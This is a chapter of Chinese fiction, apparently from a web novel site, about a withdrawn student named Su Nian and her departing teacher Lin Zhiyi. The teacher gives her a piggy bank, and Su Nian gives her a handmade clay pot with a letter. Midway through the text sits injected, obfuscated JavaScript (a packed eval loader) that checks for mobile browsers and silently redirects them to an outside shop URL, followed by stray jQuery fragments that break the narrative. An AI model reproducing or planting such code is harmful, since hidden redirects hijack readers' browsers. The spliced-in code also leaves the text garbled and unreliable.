下课铃响过。
周雨晴走上讲台，把一本磨砂皮相册放在讲桌正中间。相册很厚，夹着全班的照片和留言。
“大家按学号上来。”周雨晴拍拍手，拔高音量，“跟林老师合影，拍完照，林老师就要去收拾行李了。”
刘国强拿着数码相机站在前门边，今天他没板着脸，配合地举起相机。
一号是周雨晴。她走到林知意身旁，挽住林知意的胳膊，头靠过去。快门响了。
二号是李思思。她拉着刘燕一起上去，摆了个舞蹈动作。
教室前面挤满了人，过道堵死了。陈小满从座位上跳起来，拉开校服拉链理了理领子，跑去前面排队。张逸飞坐在椅子上，指尖转着圆珠笔，没动。
苏念坐在最后一排，没往前凑。
早上在办公室，她把折纸爱心塞进了多肉叶片底下。当时周雨晴进来了，说花盆底部不平，颜料也涂出了界。
苏念听进去了。她趁周雨晴走后，把花盆抱回教室。周雨晴说得对，礼物不能光秃秃地送。她从抽屉里翻出一张过期的《碧城晚报》，把花盆连着底座和多肉一起裹进报纸，用透明胶带缠了两圈。
她想当面给，带包装的礼物才算礼物。
报纸包好的花盆搁在腿上，泥土的重量压着大/腿，报纸粗糙的边缘有些扎手。
前面很吵。
陈小满在笑，声音很大。李思思在整理头发，问刘燕自己的刘海乱了没。
林知意被围在中间，眼眶发红，脸上却带着笑。有人递过数学草稿本求签名，她接过来，在空白处认真写字。
苏念看着讲台，中间隔着六排课桌。
她低头看腿上的报纸包，上面印着卖保健品的黑白广告字。她用指甲抠了一下胶带边缘，胶带粘不牢报纸面，翘起一个角。
人太多了，她不想挤，也习惯了待在角落看别人热闹。
张逸飞拿笔敲了敲苏念的桌角，“你不去？”
“等会。”苏念说。
“等会人就走了。”张逸飞站起来，把圆珠笔揣进口袋，双手插兜往讲台走。
苏念没动。手心出了汗，沾湿了报纸，蹭出一块暗色。热闹是他们的。
合影拍完，刘国强收起相机，说要去教务处交个表就先出去了。
人群散开，各自回了座位。
林知意站在讲台上，从讲桌下面拿出一个牛皮纸袋。纸袋有些旧，边缘已经磨损。
“这一个月，谢谢大家。”林知意打开纸袋，“我给大家准备了书签贺卡，每个人都有。”
她从第一排开始发。
每人一张，上面写了字。
陈小满拿到一张，念出声：“乘风破浪。林老师，这词好土啊。”她嘴上嫌弃，手却把书签夹进了最宝贝的日记本里。
张逸飞拿到一张，没念。他看了一眼，随手夹进数学书。
林知意顺着过道往下走，发给周雨晴时，周雨晴站起来双手接过去。
发到倒数第二排，纸袋空了。
没有苏念的。
苏念看着空纸袋，把腿上的报纸包往抽屉里推，动作很轻。她不想要特殊对待，可连一张书签都没有，胃里还是泛起酸水。
林知意把空纸袋折好，放在张逸飞桌上。她转过身，对上了苏念的视线。
林知意拨开挡在过道的椅子，走到最后一排，停在苏念桌前。
她手里多了一个方形纸盒，裹着蓝色包装纸，系着白丝带。盒子不大，却有分量。
林知意把盒子放在苏念桌上，“打开看看。”
苏念没看盒子，她看着林知意。
“拆开。”林知意催她。
苏念拉开丝带，撕掉包装纸，里面是个硬纸盒。掀开盖子，一只粉色小猪躺在里面。陶瓷的，背上开了投币口，肚子圆鼓鼓的。
苏念盯着小猪。
前排的李思思转过头，伸长脖子看过来，“存钱罐！”她喊出声。
周围几个人围过来，王强也探头看。
“老师送的是存钱罐！”刘燕跟着叫唤。
教室里响起吸气声，有人开始交头接耳。全班都是书签贺卡，只有苏念是存钱罐。
林知意回头，“看黑板。”她声音不大。
李思思缩回脖子，刘燕转过身，王强坐直了。教室里安静下来。
林知意转回身，看着苏念，压低声音说：“钱要存起来，买书，买饭，别饿肚子。以后遇到想买的东西，自己买。”
苏念喉咙发紧，咽了口唾沫。
存钱罐。
她的旧存钱罐早就被砸了，那十块钱菜金，她拿去买了黏土和颜料。现在她文具盒里一分钱都没有。
林知意知道，她什么都知道。
“走，”林知意拉住苏念的胳膊，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17859167|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“陪老师去个地方。”
林知意走在前面，苏念跟在后面。苏念把粉色小猪装进书包，手里还抱着那个报纸包。
穿过走廊，下楼梯。大课间的操场上有人打篮球，球砸在塑胶跑道上，发出闷响。
两人走到旧图书馆，门开着。
传达室大爷不在，桌上放着半杯没喝完的茉莉花茶，还冒着热气。大爷特意把空间空了出来。
图书馆里是书纸和灰尘混合的气味。
林知意走到靠窗的长桌前停下，拉开椅子坐下，“大爷去开会了。”
苏念站在桌边。
“林老师。”苏念开口，声音有些抖。她把手里的报纸包递过去，“林老师，这是我自己做的，很便宜……还有一封信。”
林知意接过去，报纸包得不规整，胶带也贴得乱。
她没说话，用指甲挑开透明胶带，一层层揭开报纸。
报纸剥落，露出白色的黏土花盆，上面是绿油油的多肉叶片，黑色的枝干和红色的梅花。
林知意看着那个画着梅花的花盆，眼泪掉了下来，砸在她的手背上。
“我看到了。”林知意摸着花盆上的指纹印。
“信在下面。”苏念指了指多肉。
林知意拨开叶片，泥土里插着一个折成心形的白纸。她把纸心抽出来，纸张受了潮，边缘发软。
她拆开折角，把纸摊平。白纸上没有格子，字迹工整。
林知意低头看信。
图书馆里没有声音，只有窗外的风吹着树叶打在玻璃上响。
苏念看着林知意的眼睛。林知意看得很慢，一行一行地看。
“我以前没有朋友。”
“我每天坐在最后一排看窗外。”
“我不当透明人了。”
泪水砸在信纸上，墨水字迹晕开了。
苏念没动，不知道该递纸还是该递水。
林知意把信纸折好，收进贴身的口袋。她站起来，把花盆紧紧抱在怀里。
林知意往前走了一步，另一只手伸出，揽住苏念的肩膀，把她拉进怀里，用力抱住。
苏念撞在林知意的白衬衫上，闻到了衣服上的肥皂味。
林知意抱得很紧，手臂收拢。
苏念的手垂在身侧。她没抱过别人，姜翠花没抱过她，苏敏也没抱过。
这是她们之间唯一的拥抱。